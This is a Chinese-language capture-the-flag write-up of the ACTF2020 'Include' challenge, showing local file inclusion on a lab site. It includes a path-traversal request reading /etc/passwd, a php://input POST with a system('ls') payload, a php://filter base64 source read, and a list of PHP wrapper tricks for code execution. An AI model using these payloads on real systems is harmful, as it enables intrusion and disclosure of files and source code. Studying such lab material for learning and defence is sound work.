大家好,你们可以叫我凌,是个16岁的网络安全者。
今天,我们来完成的是 ACTF2020 新生赛Include ,那废话不多说我们直接开始吧!
解题思路
先启动靶场。

进入靶场界面,发现有个链接。我们依旧不着急点击,先查看源代码。

html
<meta charset="utf8">
<a href="?file=flag.php">tips</a>
界面代码只有个有价值的 <a> 标签,于是我点击 F12 的网络界面看看有没有什么线索。可是事实上并没有任何东西,那我们就先尝试点进该超链接查看是否有线索。

html
<meta charset="utf8">
Can you find out the flag?
观察 URL,其中有 "flie=flag.php",那我们就尝试对它进行文件包含漏洞测试。如果都没有效果就上扫描器再看看。
我们使用 Burp 进行截包,随后发送到重发模块。

我们发送以下数据包,看看是否返回了 /etc/passwd 文件的内容。
bash
GET /?file=../../../../etc/passwd HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com

成功返回了 /etc/passwd 文件的内容,那就证明该题目存在文件包含漏洞。
那我们继续构造数据包:
bash
POST /?file=php://input HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
<?php system('ls'); ?>

发现被拦截了!随后经过测试,发现是对伪协议 input 进行了拦截,如图所示:
bash
POST /?file=php:// HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
<?php system('ls'); ?>

那我们尝试更换协议,用 filter 伪协议尝试突围。
bash
POST /?file=php://filter/read=convert.base64-encode/resource=php.php HTTP/2
Host: 17468719b29a48dbc54973b5.http-ctf2.dasctf.com

发现成功返回 base64编码 内容,那我们直接进行解码看看有没有线索。

解码得到了以下内容:
php
<?php
echo "Can you find out the flag?";
//CTF2{748f5233-5cfc-469a-8d01-e90d0cf1cf98}
这样子,flag 就成功出来了!
靶场小结
考点标签
文件包含、PHP伪协议、源码读取
核心教训
-
看到 "?file=" 参数,第一反应就是文件包含:这是 CTF 和实战中最常见的文件包含入口。先用 "../../../../etc/passwd" 测试,确认漏洞存在。
-
伪协议是文件包含的核心武器:PHP 提供了多种伪协议,各有用途:
- php://filter: 读取文件源码(不会被执行),最常用的是 "convert.base64-encode" 编码后输出,避免被浏览器解析。
- php://input: 将 POST 请求体中的内容当作 PHP 代码执行,是文件包含漏洞直接 RCE 的首选。
**- data://:**在 URL 传入 PHP 代码执行,格式为 "data://text/plain,<?php system('ls');?>"
**- expect://:**直接执行系统命令(需要 PECL 扩展,较少见)。
-
php://input 被拦截时的应对:这道题的 input 伪协议被 WAF 或配置禁用了,但 filter 仍然可用。当一个伪协议被拦时,换另一个试试------文件包含利用的常规思路。
-
filter 读源码的标准操作:"php://filter/read=convert.base64-encode/resource=flag.php" 会读取 flag.php 的源码并以 Base64 编码输出。拿到 Base64 字符串后解码,Flag 就藏在注释或变量里。
解题关键步骤
-
发现入口:页面上有 flag.php 超链接,点击后 URL 变成 ?file=flag.php,确认文件包含参数。
-
确认漏洞:用 "?file=../../../../etc/passwd" 测试,成功读取系统文件,确认存在本地文件包含漏洞。
-
尝试 RCE:用 php://input 配合 POST 体 <?php system('ls');?> 尝试命令执行,发现被拦截。
-
换伪协议读源码:改用 "php://filter/read=convert.base64-encode/resource=flag.php",成功读取 flag.php 源码。
-
解码拿 Flag:Base64 解码后,Flag 在注释中。